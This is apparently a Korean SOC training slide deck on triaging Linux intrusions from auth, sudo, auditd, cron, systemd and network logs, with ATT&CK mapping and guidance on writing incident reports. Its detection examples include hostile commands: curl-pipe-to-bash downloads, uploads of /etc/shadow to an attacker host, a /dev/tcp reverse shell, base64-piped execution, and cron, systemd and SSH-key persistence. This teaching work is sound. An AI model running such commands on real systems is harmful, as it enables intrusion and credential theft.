    한 줄씩 보면 평범할 수 있는 이벤트도 시간순으로 연결하면 분명한 침해 흐름이 된다
    시나리오
    02:11
    외부 IP SSH 로그인 성공
    Accepted password for admin from 198.51.100.23
    데이터 소스: auth.log
    02:13
    sudo root 권한 획득
    sudo: admin TTY=pts/0 USER=root COMMAND=/bin/bash
    데이터 소스: auth.log / sudo 로그
    02:15
    /tmp 파일 다운로드
    curl -fsSL http://203.0.113.10/a.sh -o /tmp/a.sh
    데이터 소스: auditd / bash_history
    02:17
    root crontab 등록
    CROND: (root) CMD (/tmp/a.sh >/dev/null 2>&1)
    데이터 소스: cron 로그
    02:20
    새 계정 backupsvc 생성
    useradd backupsvc + usermod -aG sudo backupsvc
    데이터 소스: auth.log / audit.log
    🚨 Incident 판정 근거: 외부 IP 야간 로그인 → root 권한 → 악성 다운로드/실행 → 지속성 확보 → 신규 관리자 계정 생성 = 침해 확정
    💡 분석 원칙: 분석가는 단일 증거를 나열하는 사람이 아니라, 분산된 증거를 체인으로 재구성하는 사람이다
    정상 관리 작업 vs 공격 행위를 구분하는 기준
    권한 있는 행위는 운영팀도 많이 하기 때문에, '행위 존재'보다 '맥락 불일치'를 봐야 한다
    분석
    ✅ 정상 가능성이 높은 신호
    승인된 점검 창구 (변경 티켓 존재)
    Bastion/IP 허용 목록 일치
    운영팀 계정과 역할 부합
    패치·배포·백업과 같은 반복 패턴 명령
    동일 명령이 과거에도 반복됨
    🚨 공격 가능성이 높은 신호
    미승인 야간/주말 작업
    신규 출발지 + 신규 계정 조합
    curl/wget → /tmp → chmod +x → nohup
    sudoers 수정, 새 SSH 키 추가, 새 관리자 계정
    로그 삭제·변조 흔적
    행위 존재
    +
    🔍
    맥락 확인
    ⚖️
    정상/공격 판단
    보강 설명공격자의 행위가 정상 운영과 비슷하게 보이는 순간이 SOC에서 가장 어려운 일 중 하나입니다. 권한 변화와 지속성 흔적이 이어지는지까지 확인해야 사건의 무게를 알 수 있다.
    정상 맥락미승인 변경오탐 미탐 균형
    핵심 포인트
    • sudo·su·systemd·cron·authorized_keys는 권한 흔적의 핵심
    • 새 계정 생성과 sudoers 변경은 장기 재진입 구조일 수 있다
    • 한 번의 root 쉘보다 이후 남긴 지속성 흔적이 더 중요할 수 있다
    추가 확인
    • 관련 파일 mtime과 service enable 흔적 점검
    • auditd execve와 auth 로그를 같이 묶어 주체를 확인
    • 새 계정·새 키·새 서비스가 같은 세션에서 생겼는지 보기
    실무 적용
    • 지속성이 여러 겹이면 동시에 제거해야 재침투를 막을 수 있다
    • IAM·운영팀과 함께 계정 통제 범위를 즉시 정리
    • 권한상승 이벤트는 영향도 높은 자산부터 우선 대응
    PART 6
    프로세스 / 명령 / 파일 / 네트워크 분석
    실행 흔적 · 파일 이동 · 은닉 실행 · 네트워크 연결 · Triage
    ⏱ 70분 | Slides 50 – 61
    보강 설명프로세스 / 명령 / 파일 / 네트워크 분석 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    프로세스명령 실행파일 이동
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    프로세스와 명령 실행은 공격자의 손자국이다
    로그인 성공이 '들어왔다'를 말해준다면, 프로세스와 명령 로그는 '들어와서 무엇을 했다'를 말해준다
    개념
    💡 프로세스 정보가 주는 단서
    실행 파일 경로 — 정상 경로(/usr/bin)인가, 이상 경로(/tmp)인가
    명령 인자 — 어떤 옵션과 대상으로 실행되었는가
    부모-자식 관계 — 누가 이 프로세스를 만들었는가
    실행 시간 — 업무 시간인가, 야간/주말인가
    UID/EUID — 어떤 권한으로 실행됐는가
    🔍 명령이 알려주는 공격 단계
    Reconnaissanceid, whoami, uname -a, ps, netstat
    Executionbash, sh, python3, perl
    Downloadcurl, wget, scp, sftp
    Persistencecrontab, systemctl enable, useradd
    Exfiltrationscp, rsync, curl -F, nc
    🎯 핵심
    명령 이름만 보는 것이 아니라, 어떤 인자와 어떤 순서로 조합되었는지까지 읽어야 한다
    보강 설명로그인이 들어왔다라면 프로세스와 명령은 들어와서 무엇을 했다를 말해줍니다. 명령 조합과 실행 경로, 외부 연결을 함께 보면 의도가 더 분명하게 드러난다.
    프로세스명령 실행부모-자식
    핵심 포인트
    • 명령 이름보다 인자·실행 경로·부모 프로세스를 함께 보기
    • /tmp·/dev/shm·숨김 파일 경로는 우선 의심하기
    • curl→chmod +x→nohup 같은 조합은 강한 실행 신호다
    추가 확인
    • 해당 파일 생성 시점과 해시·권한·소유자 확인
    • EDR·auditd·네트워크 로그를 함께 붙여 전체 흐름 보기
    • 외부 목적지 IP/도메인 평판과 과거 반복 이력 조회
    실무 예시
    • 다운로드 후 즉시 실행은 배포와 공격 모두 가능하므로 승인 이력 확인
    • 웹쉘·터널링·역방향 셸은 네트워크 흔적과 함께 봐야 선명해짐
    • 프로세스 한 줄보다 연속 실행 체인이 사건의 무게를 정한다
    bash_history는 유용하지만 '정답지'는 아니다
    히스토리는 단서일 뿐, 최종 증거가 아니다
    분석
    ✅ 활용 포인트
    • 사용자 일반 작업 패턴 파악
    • 특정 명령 실행 흔적 힌트
    • 다른 로그와 맞아떨어질 때 보강 증거
    • 인터랙티브 세션 명령 확인
    ⚠️ 한계와 우회 방법
    • 비대화형 셸에서 기록 안 됨
    • HISTFILE= unset으로 비활성화
    • 세션 종료 시점에 기록 (실시간 아님)
    • sh script.sh로 인라인 실행 우회
    • history -c 또는 파일 삭제
    🔗 보강 데이터 소스
    auditd execve
    커널 수준 기록, 삭제/우회 어려움
    EDR 텔레메트리
    부모-자식 트리, 커맨드라인 전체
    sudo 로그
    권한 상승 명령은 auth.log에 남음
    서비스 로그
    journald, nginx, cron 등 서비스별 기록
    bash_history는 auth.log + auditd + sudo + file metadata와 함께 볼 때 가장 가치가 있다
    보강 설명bash_history는 유용하지만 과신하면 안 됩니다. 공격자는 이를 우회하거나 삭제할 수 있습니다. 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    bash_history삭제 가능우회 가능
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    Process Visibility: auditd, EDR, service log를 묶어 보라
    표준 로그에 안 보이는 실행도, 다른 텔레메트리에서 보일 수 있다
    개념
    auditd
    커널 수준 행위 감사
    type=EXECVE argc=3
    a0="bash" a1="-c" a2="curl ..."
    auid=1001 uid=0 euid=0
    • execve 시스템콜
    • uid/euid 변화 추적
    • 파일 접근 감사
    EDR / XDR
    엔드포인트 행위 분석
    • 부모-자식 프로세스 트리
    • 전체 커맨드라인
    • 파일 생성/수정 이벤트
    • 네트워크 연결 트리거
    • 메모리 주입 탐지
    Service Logs
    서비스별 애플리케이션 로그
    • journald: 서비스 시작/중지
    • syslog: 데몬 메시지
    • nginx/apache 접근 로그
    • cron: 실행 기록
    ⚡ 실무 적용 예시: 악성 스크립트 실행 탐지
    auditd → execve bash -c "curl ..."
    EDR → bash 자식: curl → /tmp/a.sh
    journald → sshd 세션 + 서비스 변화
    결합 → 침해 체인 완성
    보강 설명표준 로그에 안 보이는 실행도 다른 텔레메트리에서 보일 수 있습니다. 이때 원본 로그·시간축·수집 경로를 함께 봐야 판단이 흔들리지 않는다.
    auditdEDR텔레메트리 결합
    핵심 포인트
    • 파일명보다 어떤 이벤트를 담는 로그인지 먼저 구분하기
    • 배포판 차이와 journalctl·압축 로그 보강까지 함께 보기
    • 한 줄 로그도 시간·호스트·프로세스·결과로 빠르게 분해하기
    추가 확인
    • 타임존/NTP와 logrotate 보존 범위 확인
    • 로컬 원본과 SIEM 파싱 결과 차이 점검
    • 환경 설정상 빠질 수 있는 로그 소스는 없는지 체크
    실무 적용
    • auth→sudo→auditd처럼 여러 로그를 체인으로 연결
    • 원본 raw 로그를 보며 탐지 룰 필드 정의 만들기
    • 로그가 없으면 없는 이유까지 조사하는 습관 들이기
    wget / curl / scp / sftp: 외부와의 파일 이동 흔적
    공격자는 결국 외부에서 도구·페이로드를 가져온다 — 다운로드 명령의 대상과 저장 위치를 본다
    분석
    🔴 위험 패턴 예시
    # auditd execve 또는 bash_history
    curl -fsSL http://203.0.113.10/a.sh -o /tmp/a.sh
    wget -q http://198.51.100.77/tools.tar.gz -P /dev/shm/
    curl -X POST -F "file=@/etc/passwd" http://attacker.net/upload
    scp root@203.0.113.99:/tmp/payload /tmp/.cache
    🔍 분석 포인트
    • 목적지 도메인/IP: 내부 저장소인가, 외부/공개 IP인가
    • 저장 경로: /tmp, /dev/shm, /var/tmp
    • 이후 chmod +x, 실행 명령이 연결되는가
    • POST 업로드 = 외부 유출 가능성
    📊 정상 vs 위험 비교
    ✅ 정상: 내부 저장소에서 패키지/스크립트 다운
    curl http://10.0.1.100/packages/app-2.1.tar.gz -o /tmp/app.tar.gz
    🚨 위험: 공개 외부 IP에서 /tmp로 스크립트 다운 후 실행
    curl http://203.0.113.10/a.sh | bash
    🚨 유출: 민감 파일 외부로 POST 업로드
    curl -F "d=@/etc/shadow" http://attacker.net/collect
    즉시 실행과 은닉 실행 패턴: chmod +x, sh -c, nohup, base64
    다운로드 후 즉시 실행 가능 상태 전환 + 백그라운드 은닉 실행은 강한 침해 신호다
    주의
    # 전형적인 은닉 실행 체인 (한 세션에서)
    curl -fsSL http://203.0.113.10/upd -o /tmp/.system_update
    chmod +x /tmp/.system_update
    nohup /tmp/.system_update >/dev/null 2>&1 &
    # 또는 base64 인코딩 우회
    echo "Y3VybCBodHRwOi8v..." | base64 -d | bash
    chmod +x
    실행 권한 부여
    다운로드 파일을 실행 가능 상태로
    sh -c / bash -c
    문자열을 직접 실행
    파일 없이 코드 실행 가능
    nohup &
    백그라운드 실행
    터미널 종료 후에도 지속
    base64 -d
    인코딩 우회
    문자열 기반 탐지 회피
    ⚡ 조합이 핵심: curl + /tmp + chmod +x + nohup + /dev/null = 고위험 지표 (High Confidence IOB)
    위험도가 올라가는 경로: /tmp, /var/tmp, /dev/shm, 숨김 파일
    공격자가 선호하는 경로는 권한 설정이 느슨하고, 재부팅 시 초기화되는 특성을 악용하기 쉽기 때문이다
    분석
    📁 위험 경로 특성
    /tmp
    모든 사용자 쓰기 가능 · 재부팅 시 초기화
    /var/tmp
    재부팅 후에도 유지 · 공격자 선호 지속 경로
    /dev/shm
    메모리 기반 파일시스템 · 디스크 흔적 최소화
    .숨김파일
    dot으로 시작하는 파일 · ls에 안 보임
    🔍 의심 파일 탐색 명령
    # 실행 가능 파일 탐색
    find /tmp /var/tmp /dev/shm -type f -perm /111 2>/dev/null
    # 숨김 파일 탐색
    find /tmp /home -name ".*" -type f 2>/dev/null
    # 최근 변경 파일 (24시간 이내)
    find /tmp -mtime -1 -ls 2>/dev/null
    주의: 이 경로의 실행 가능 파일 + 외부 다운로드 연결 = 즉시 조사 대상
    보강 설명공격자가 선호하는 경로를 알면 빠르게 의심 파일을 찾을 수 있습니다. 권한 변화와 지속성 흔적이 이어지는지까지 확인해야 사건의 무게를 알 수 있다.
    tmpdev shm숨김 파일
    핵심 포인트
    • sudo·su·systemd·cron·authorized_keys는 권한 흔적의 핵심
    • 새 계정 생성과 sudoers 변경은 장기 재진입 구조일 수 있다
    • 한 번의 root 쉘보다 이후 남긴 지속성 흔적이 더 중요할 수 있다
    추가 확인
    • 관련 파일 mtime과 service enable 흔적 점검
    • auditd execve와 auth 로그를 같이 묶어 주체를 확인
    • 새 계정·새 키·새 서비스가 같은 세션에서 생겼는지 보기
    실무 적용
    • 지속성이 여러 겹이면 동시에 제거해야 재침투를 막을 수 있다
    • IAM·운영팀과 함께 계정 통제 범위를 즉시 정리
    • 권한상승 이벤트는 영향도 높은 자산부터 우선 대응
    cron 로그 분석: 반복 실행은 왜 중요한가
    cron은 운영에도 쓰이지만 공격 지속성 유지에도 쓰인다 — 새 등록 시점과 실행 내용이 핵심이다
    분석
    📋 cron 로그 읽기
    # /var/log/cron 또는 syslog
    Feb 14 03:00:01 CROND[5011]: (alice) CMD (/usr/local/bin/backup.sh)
    Feb 14 04:00:01 CROND[5012]: (alice) CMD (/usr/local/bin/backup.sh)
    # 위험 예시
    Feb 14 02:17:01 CROND[4521]: (root) CMD (curl -s http://203.0.113.10/c.sh | bash)
    🔍 cron 분석 포인트
    • 실행 주체: root인가, 일반 사용자인가
    • CMD 내용: 내부 스크립트인가, 외부 URL인가
    • 등록 시점 (침해 시점과 일치하는가)
    • 출력 은닉: >/dev/null 2>&1 여부
    📊 정상 vs 위험 비교
    ✅ 정상:
    (alice) CMD (/usr/local/bin/backup.sh)
    → 알려진 계정, 내부 경로, 운영 스크립트
    🚨 위험:
    (root) CMD (curl http://203.0.113.10/c.sh|bash)
    → root + 외부 URL + 파이프 실행
    🚨 위험:
    (root) CMD (/tmp/.upd >/dev/null 2>&1)
    → /tmp 경로 + 출력 은닉
    crontab 변경은 /var/spool/cron/ 파일 mtime으로도 확인 가능
    systemctl / 서비스 생성 흔적
    systemd 서비스 등록은 재부팅 후에도 살아남는 강력한 지속성 수단이다
    주의
    🔍 로그에서 보이는 흔적
    # journald / syslog
    Feb 14 02:18:30 systemd[1]: Created symlink /etc/systemd/system/multi-user.target.wants/update-svc.service
    Feb 14 02:18:31 systemd[1]: Started System Update Service
    # sudo 로그에서 enable 확인
    sudo: root COMMAND=/bin/systemctl enable update-svc.service
    📌 분석 포인트
    • 서비스 파일이 언제 생성됐는가
    • ExecStart 경로: /usr/bin vs /tmp
    • 서비스 이름이 정상처럼 위장 (update, monitor, sync)
    • Description이 설득력 있게 포장됨
    🆚 정상 vs 악성 서비스 비교
    정상 nginx.service
    ExecStart=/usr/sbin/nginx
    WantedBy=multi-user.target
    악성 update-svc.service
    ExecStart=/tmp/.system_update
    Restart=always ← 재시작 설정까지
    신규 .service 파일 생성 + systemctl enable = 강력한 지속성 지표
    네트워크 흔적: 외부 연결, 업로드, 역방향 셸 힌트
    공격자는 명령 실행 후 외부와 통신하거나 역방향 셸로 지속 제어한다 — 로그에서 비정상 연결을 찾아야 한다
    주의
    🌐 주요 네트워크 흔적 유형
    C2 Beacon: 주기적 외부 IP 연결 (수초~수분 간격)
    netstat: ESTABLISHED 203.0.113.10:443
    역방향 셸: bash/nc를 이용한 셸 채널
    bash -i >& /dev/tcp/203.0.113.10/4444 0>&1
    데이터 유출: POST/PUT으로 파일 전송
    curl -F "f=@/etc/shadow" http://att.net
    터널링: DNS/HTTP over TCP 비정상 트래픽
    📋 Linux 로그에서 힌트 찾기
    # auditd 소켓 연결 이벤트
    type=SYSCALL ... comm="bash" syscall="connect" exit=0
    # syslog/journald 서비스 관련
    sshd: Accepted publickey ... from 203.0.113.10 ← 반복 연결
    # cron을 통한 지속 통신
    CROND: (root) CMD (curl http://c2.example.com/cmd | bash)
    네트워크 흔적은 방화벽 로그, NetFlow, DNS 쿼리와 결합할 때 확증력이 높아진다
    auth + sudo + process + network를 타임라인으로 묶기
    분산된 로그 조각을 시간순으로 연결할 때 비로소 공격 흐름이 보인다
    시나리오
    02:06
    auth.log
    Accepted password for admin from 198.51.100.23
    02:08
    sudo log
    admin : USER=root ; COMMAND=/bin/bash
    02:09
    auditd
    execve: curl -fsSL http://203.0.113.10/a.sh -o /tmp/a.sh
    02:10
    auditd
    execve: chmod +x /tmp/a.sh → nohup /tmp/a.sh &
    02:17
    cron log
    (root) CMD (/tmp/a.sh >/dev/null 2>&1)
    02:20
    network
    ESTABLISHED src=web01 dst=203.0.113.10:443 (C2 beacon)
    💡 통합 분석 원칙
    각 로그를 따로 설명하는 것이 아니라, 시간 축 위에 올려 흐름을 재구성하는 것이 분석의 핵심
    보강 설명여러 로그 소스를 타임라인으로 묶으면 공격 흐름이 선명하게 보입니다. 권한 변화와 지속성 흔적이 이어지는지까지 확인해야 사건의 무게를 알 수 있다.
    타임라인다중 소스통합 분석
    핵심 포인트
    • sudo·su·systemd·cron·authorized_keys는 권한 흔적의 핵심
    • 새 계정 생성과 sudoers 변경은 장기 재진입 구조일 수 있다
    • 한 번의 root 쉘보다 이후 남긴 지속성 흔적이 더 중요할 수 있다
    추가 확인
    • 관련 파일 mtime과 service enable 흔적 점검
    • auditd execve와 auth 로그를 같이 묶어 주체를 확인
    • 새 계정·새 키·새 서비스가 같은 세션에서 생겼는지 보기
    실무 적용
    • 지속성이 여러 겹이면 동시에 제거해야 재침투를 막을 수 있다
    • IAM·운영팀과 함께 계정 통제 범위를 즉시 정리
    • 권한상승 이벤트는 영향도 높은 자산부터 우선 대응
    자주 나오는 오탐과 해석 실수
    위험한 명령이 보였다는 이유만으로 바로 침해라고 단정하면 운영을 망가뜨릴 수 있다
    분석
    ✅ 위험해 보이지만 정상인 사례
    배포 자동화 스크립트가 curl/wget 사용
    백업 에이전트가 /tmp 임시 디렉터리 사용
    운영팀이 nohup, screen, tmux로 작업
    Cron으로 정기 점검 스크립트 실행
    성능 진단용 패키지 설치 + 서비스 재시작
    🔍 오탐 방지 핵심 질문
    Q1.내부 저장소/배포 서버에서 내려받은 것인가?
    Q2.동일 명령이 과거에도 반복되었는가?
    Q3.운영 티켓/변경 이력과 일치하는가?
    Q4.서비스명/경로가 표준 패턴과 맞는가?
    Q5.외부 C2 IP나 비정상 도메인과 통신했는가?
    ⚖️ 분석 균형
    [명령 자체]보다 [출처 + 시점 + 대상 + 승인]을 함께 보라 — 보안 분석은 편집증과 냉정함 사이의 균형
    보강 설명위험해 보이는 명령도 맥락에 따라 정상일 수 있습니다. 균형 감각이 중요합니다. 명령 조합과 실행 경로, 외부 연결을 함께 보면 의도가 더 분명하게 드러난다.
    오탐승인 작업반복 패턴
    핵심 포인트
    • 명령 이름보다 인자·실행 경로·부모 프로세스를 함께 보기
    • /tmp·/dev/shm·숨김 파일 경로는 우선 의심하기
    • curl→chmod +x→nohup 같은 조합은 강한 실행 신호다
    추가 확인
    • 해당 파일 생성 시점과 해시·권한·소유자 확인
    • EDR·auditd·네트워크 로그를 함께 붙여 전체 흐름 보기
    • 외부 목적지 IP/도메인 평판과 과거 반복 이력 조회
    실무 예시
    • 다운로드 후 즉시 실행은 배포와 공격 모두 가능하므로 승인 이력 확인
    • 웹쉘·터널링·역방향 셸은 네트워크 흔적과 함께 봐야 선명해짐
    • 프로세스 한 줄보다 연속 실행 체인이 사건의 무게를 정한다
    명령/프로세스 Alert triage 체크리스트
    프로세스 Alert의 핵심은 '무슨 명령이 실행되었나'가 아니라 '그 명령이 왜 지금 여기서 의심스러운가'를 답하는 것이다
    Triage
    📋 7단계 체크리스트
    1실행 주체는 누구인가? (일반 사용자/관리자/서비스 계정)
    2부모 프로세스와 실행 경로는 무엇인가?
    3명령행에 다운로드, 인코딩, 은닉, 백그라운드 실행 요소가 있는가?
    4파일 생성/변경, 서비스/cron 등록으로 이어졌는가?
    5외부 통신과 결합되는가?
    6승인된 배포/점검과 일치하는가?
    7즉시 격리·차단이 필요한가?
    Investigate
    Escalate
    Contain
    ✍️ 좋은 판단문 예시
    고위험 판단문
    Who
    root 계정 세션 (야간 외부 SSH 성공 직후)
    What
    외부 IP에서 /tmp 경로에 스크립트 다운로드 후 bash 실행
    Follow-up
    직후 root crontab 등록 (매 1분마다 재실행)
    Network
    203.0.113.10:443으로 주기적 연결 (C2 beacon 의심)
    Verdict
    고위험 — 자산 격리 및 스케줄러 점검 권고
    보강 설명프로세스 Alert 핵심은 무슨 명령이 아니라 왜 지금 여기서 의심스러운가를 답하는 것입니다. 명령 조합과 실행 경로, 외부 연결을 함께 보면 의도가 더 분명하게 드러난다.
    triagecommand linecontainment
    핵심 포인트
    • 명령 이름보다 인자·실행 경로·부모 프로세스를 함께 보기
    • /tmp·/dev/shm·숨김 파일 경로는 우선 의심하기
    • curl→chmod +x→nohup 같은 조합은 강한 실행 신호다
    추가 확인
    • 해당 파일 생성 시점과 해시·권한·소유자 확인
    • EDR·auditd·네트워크 로그를 함께 붙여 전체 흐름 보기
    • 외부 목적지 IP/도메인 평판과 과거 반복 이력 조회
    실무 예시
    • 다운로드 후 즉시 실행은 배포와 공격 모두 가능하므로 승인 이력 확인
    • 웹쉘·터널링·역방향 셸은 네트워크 흔적과 함께 봐야 선명해짐
    • 프로세스 한 줄보다 연속 실행 체인이 사건의 무게를 정한다
    PART 7
    공격 시나리오 연결 분석
    Brute Force → 침투 → 권한상승 → 실행 → Persistence → Action
    ⏱ 130분 | Slides 63 – 68
    보강 설명공격 시나리오 연결 분석 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    공격 시나리오체인 분석MITRE ATT CK
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    공격 시나리오 개요: Brute Force에서 Persistence까지
    공격은 단일 Alert가 아니라, 여러 약한 신호가 시간순으로 쌓여 하나의 사건이 된다
    시나리오
    🔨
    SSH Brute Force
    auth.log
    🔑
    로그인 성공
    auth.log
    👑
    sudo / root
    sudo log
    ⬇️
    Download + Execute
    auditd
    Persistence
    cron/systemd
    💥
    Action on Objectives
    network/file
    이 시나리오는 교육용으로 단순화한 것이지만, 실제 현업에서 매우 자주 나타나는 패턴입니다
    🎯 목표
    각 이벤트를 따로 설명하는 데서 멈추지 않고, 왜 이것이 하나의 침해 사건으로 묶이는지 설명할 수 있어야 한다
    보강 설명공격은 단일 Alert가 아니라 여러 약한 신호가 시간순으로 쌓여 하나의 사건이 됩니다. 권한 변화와 지속성 흔적이 이어지는지까지 확인해야 사건의 무게를 알 수 있다.
    공격 체인흐름 재구성단일 로그 한계
    핵심 포인트
    • sudo·su·systemd·cron·authorized_keys는 권한 흔적의 핵심
    • 새 계정 생성과 sudoers 변경은 장기 재진입 구조일 수 있다
    • 한 번의 root 쉘보다 이후 남긴 지속성 흔적이 더 중요할 수 있다
    추가 확인
    • 관련 파일 mtime과 service enable 흔적 점검
    • auditd execve와 auth 로그를 같이 묶어 주체를 확인
    • 새 계정·새 키·새 서비스가 같은 세션에서 생겼는지 보기
    실무 적용
    • 지속성이 여러 겹이면 동시에 제거해야 재침투를 막을 수 있다
    • IAM·운영팀과 함께 계정 통제 범위를 즉시 정리
    • 권한상승 이벤트는 영향도 높은 자산부터 우선 대응
    Step 1. 실패 다수 → 성공 1회: 왜 위험한가
    수십 번의 실패보다 더 무서운 것은, 그 끝에 단 한 번의 성공이 붙는 순간이다
    시나리오
    📋 실제 로그 흐름
    01:50:01 Failed password for root from 198.51.100.23
    01:50:02 Invalid user webmaster from 198.51.100.23
    01:50:03 Invalid user git from 198.51.100.23
    ... × 177회 실패 ...
    02:05:40 Failed password for admin from 198.51.100.23
    02:06:01 Accepted password for admin from 198.51.100.23 ← ⚡
    02:06:01 sshd: pam_unix: session opened for user admin (uid=1001)
    🔍 분석 포인트
    동일 IP 축: 198.51.100.23에서 실패→성공 연결
    invalid user 포함: 계정명 열거(Enumeration) 후 성공
    시간 연속성: 01:50~02:06 동일 공격 흐름
    즉시 확인: 성공 직후 last, who, sudo로 후속 행위 조사
    🚨 Suspicious — 후속 행위 즉시 조사
    Step 2. sudo → download → execute
    로그인 자체보다, 로그인 직후 root 권한과 외부 스크립트 실행이 붙는 순간 Incident 가능성은 급격히 높아진다
    시나리오
    # 02:06 로그인 성공 이후 → auth.log / auditd 연결
    02:08:12 sudo: admin TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/bash
    02:09:03 [auditd execve] curl -fsSL http://203.0.113.10/a.sh -o /tmp/a.sh
    02:09:45 [auditd execve] chmod +x /tmp/a.sh
    02:10:01 [auditd execve] nohup /tmp/a.sh >/dev/null 2>&1 &
    ⚡ 위험 지표 누적
    로그인 직후 2분 내 sudo bash (root 쉘)
    외부 IP에서 /tmp로 스크립트 다운로드
    chmod +x → nohup 백그라운드 실행
    출력 /dev/null 은닉 + 야간 작업
    승인된 작업 이력 없음
    📊 triage 판정
    💥 Incident — 즉시 대응
    ① 해당 세션 즉시 차단
    ② /tmp/a.sh 파일 보존 + 분석
    ③ 실행 중인 nohup 프로세스 확인
    ④ 203.0.113.10 IP 차단 및 위협 인텔리전스 조회
    ⑤ 다른 서버로 측면 이동 여부 확인
    Step 3. cron 등록, 키 추가, 새 계정 생성
    공격자는 한 가지 지속성 수단에만 의존하지 않는다 — 다중 계층으로 재진입 구조를 만든다
    시나리오
    # 02:10 실행 이후 지속성 확보 흐름
    02:17:01 CROND: (root) CMD (/tmp/a.sh >/dev/null 2>&1) ← cron 1분마다
    02:18:30 sudo: root COMMAND=bash -c "echo 'ssh-rsa ATTK...' >> /root/.ssh/authorized_keys"
    02:20:05 useradd: new user: name=backupsvc, UID=1002
    02:20:11 usermod: add backupsvc to group sudo
    ⏰ cron 지속성
    1분마다 외부 스크립트 재실행
    프로세스 삭제돼도 부활
    🔑 키 지속성
    비밀번호 변경해도 재진입
    Accepted publickey 로그만 남음
    👤 계정 지속성
    admin 계정 차단해도 접근 가능
    백업 관리자 계정으로 위장
    🔑 대응 원칙: 지속성이 여러 겹일 경우, 하나만 제거하면 공격자는 남은 통로로 재진입 — 모든 지속성 수단 동시 제거 필요
    MITRE ATT&CK 관점으로 보는 Linux 로그
    개별 로그 이벤트를 ATT&CK 전술/기법으로 분류하면 공격 단계를 표준화하고 공유할 수 있다
    개념
    단계 (Tactic) T-Code 기법 (Technique) 로그 근거
    Initial Access T1110.001 Password Guessing (Brute Force) auth.log 실패 반복
    Privilege Escalation T1548.003 Sudo and Sudo Caching sudo 로그
    Execution T1059.004 Unix Shell auditd execve
    Persistence T1053.003 Cron cron 로그
    Persistence T1098.004 SSH Authorized Keys auditd/FIM
    Persistence T1136.001 Create Account: Local Account auth.log (useradd)
    ATT&CK 코드로 분류하면 위협 인텔리전스 공유, SIEM 룰 매핑, 탐지 갭 분석이 쉬워진다
    좋은 Incident 서술문은 어떻게 쓰는가
    Fact + Why (의심 근거) + Impact (영향도) + Action (권고 조치) 구조가 운영 판단에 직결된다
    분석
    ❌ 나쁜 서술문 예시
    Bad Example
    서술
    "외부 IP에서 SSH 로그인 성공 후 sudo 실행 확인. curl로 파일 다운로드됨."
    → 사실만 나열, 위험도/영향/조치 없음
    ✅ 좋은 서술문 구조
    Good Example
    Fact
    2024-01-12 02:06 야간, 신규 외부 IP(198.51.100.23)에서 admin 계정 SSH 로그인 성공
    Why
    로그인 전 180회 실패 → 브루트포스 의심. 직후 sudo bash + 외부 스크립트 다운로드
    Impact
    운영 웹서버(web01), root 권한 확보, cron 지속성 등록, backupsvc 신규 계정 생성
    Action
    고위험 — 즉시 web01 격리, admin/backupsvc 계정 통제, 외부 IP 차단, IR 팀 에스컬레이션
    💡 원칙
    triage의 목적은 기술 사실을 운영 판단으로 번역하는 것이다 — 읽는 사람이 다음 행동을 결정할 수 있어야 한다
    PART 8
    실습 케이스 분석
    Case A~F · 판단 구조 훈련 · 강사 기준 답안
    ⏱ 90분 | Slides 70 – 78
    보강 설명실습 케이스 분석 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    실습Case StudyTriage
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    실습 안내: 정답보다 '근거와 질문'을 써라
